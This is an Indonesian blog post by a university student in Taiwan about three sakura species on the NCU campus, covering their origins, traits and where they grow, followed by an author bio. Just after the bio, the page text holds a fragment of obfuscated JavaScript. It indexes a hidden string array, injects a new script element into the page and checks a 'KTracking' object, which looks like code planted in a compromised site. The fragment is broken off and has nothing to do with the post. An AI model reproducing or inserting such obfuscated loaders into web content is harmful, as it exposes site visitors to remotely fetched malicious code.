Selamat Datang Sakura! Selamat Datang Musim Semi!

Sakura adalah tumbuhan yang memiliki makna budaya yang penting di Asia Timur. Keindahan bunga sakura adalah simbol ampuh yang disamakan dengan kelenyapan kehidupan manusia (evanescence) dan melambangkan transformasi budaya Jepang selama berabad-abad (1). Di Jepang abad pertengahan, bunga sakura digunakan untuk melambangkan esensi Samurai. Bunga ini dinilai sangat indah, kompleks namun sayang berumur pendek. Tidak seperti bunga lainnya, yang menghitam, layu dan mati, bunga sakura memekarkan kelopak bunga setinggi keindahannya. Oleh sebab itu, bagi samurai, kualitas ini mewakili kematian yang mulia dalam pertempuran, sebelum mencapai usia tua. Inilah makna filosofis bunga sakura bagi orang Asia Timur. Menarik ya. Nah, di Taiwan, di akhir musim dingin menuju musim semi, juga banyak bunga sakura yang akan mekar menghiasi taman-taman. Pada kesempatan ini, saya akan membagikan jenis-jenis bunga sakura yang ada di National Central Unversity (NCU). 1. Prunus serulata Tumbuhan ini adalah sakura asli di Korea, China dan Jepang. Sakura ini sering disebut sebagai east asia cherry, oriental cherry atau hill cherry (2). Di NCU, sakura ini disebut Japanese flowering cherry. Ciri-ciri tumbuhan ini adalah bunga yang berwarna putih hingga merah muda (berbunga di sekitar bulan April) (3). Umumnya bunganya tidak wangi namun bentuknya semi-double atau double menambah keindahan bunga ini. Tinggi sakura ini bisa mencapai 15-25 ft dan mengembangkan cabang-cabangnya hingga 4-8 meter. Warna kulit kayu adalah cokelat kastanye. Kemampuan hidup hanya 15-20 tahun (4). Sakura ini lebih suka tumbuh di tanah yang subur, lembab, di bawah naungan sinar matahari dan berdrainase baik. Pohon ini sangat cocok sebagai pohon penghias jalan raya di negara-negara Asia Timur (3). Kalau di NCU, kita bisa menemukannya di danau NCU. Sembari menikmati pemandangan danau yang indah, kita juga bisa mengabadikan kebersamaan bersama sakura Prunus serulata di sini. 2. Prunus subhirtella Tumbuhan ini juga berasal dari Jepang. Sakura ini sering disebut winter cherry, Higan cherry, atau rosebud cherry (2). Ciri-ciri tumbuhan ini adalah bunga yang berwarna putih hingga merah muda, tingginya bisa mencapai 20-30 ft dan mengembangkan cabang-cabangnya hingga 15-25 ft. Sakura ini relatif lebih cepat tumbuh dan hidup lebih lama dibandingkan sakura ornamental lainnya (4). Bunganya berwarna putih sampai merah muda dan biasanya mekar di bulan April. Tumbuh baik di tanah yang lembab, subur, baik di bawah sinar matahari penuh atau teduh. Di NCU, kita bisa temukan sebagian di danau NCU. Sayang, di akhir musim dingin, bunga sakura ini belum mekar. 3. Prunus campanulata Tumbuhan ini adalah sakura yang asli berasal dari Taiwan, Jepang, China dan Vietnam. Sakura ini sering disebut Taiwan cherry, Formosan cherry atau bellflower cherry (2). Ciri-ciri pohon ini adalah dapat tumbuh setinggi 10 m. Bunganya berwarna merah tua, berbentuk lonceng dan berdiameter 2,2 cm. Sakura ini akan berbunga di akhir musim dingin sampai awal musim semi. Selain itu, bunga tumbuhan ini mengandung madu yang sangat tinggi (5), sehingga tidak jarang kita akan menemukan kumpulan burung menghinggapi tumbuhan ini. Daun bergerigi dan panjangnya mencapai 4-7cm dan lebar 2-3,5 cm. Daunnya berwarna hijau cerah saat muncul di musim semi, berubah menjadi hijau gelap di musim panas dan akhirnya berubah menjadi perunggu selama musim gugur (6). Seperti kebanyakan sakura lainnya, sakura jenis ini lebih suka tumbuh di tanah yang subur,di bawah naungan sinar matahari dan berdrainase baik. Sakura ini merupakan tumbuhan ornamental yang sangat popular di taman-taman dan area publik di Asia Timur (6). Di NCU, Anda dapat menemukannya di depan gedung matematika, sebagian kecil di male dormitory. Itulah bunga sakura yang terdapat di kampus NCU sebagai penanda bagi kita bahwa musim semi akan segera tiba. Selamat datang musim semi! Selamat datang semester baru! References: (1) www.sunyorange.edu (2) www.wikpedia.org (3) www.eol.org (4) www.missouribotanicalgarden.org (5) www.winterhill.com.au (6) www.iucngisd.org Penulis: Samuel Herianto (e-mail: samuelhgm@g.ncu.edu.tw), student of Department of Biomedical Sciences, National Central University. Researcher assistant in High Throughput Biosensing Laboratory. [7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}

Trackback from your site.

Samuel Herianto Ginting Munthe

Aku hanya ingin mengetahui dua hal dalam hidupku: mengenal Allah dan mengenal diri (St. Augustine of Hippo). Samuel Herianto (e-mail: samuelhgm@g.ncu.edu.tw), student of Department of Biomedical Sciences, National Central University. Researcher assistant in High Throughput Biosensing Laboratory.

Leave a comment

You must be logged in to post a comment.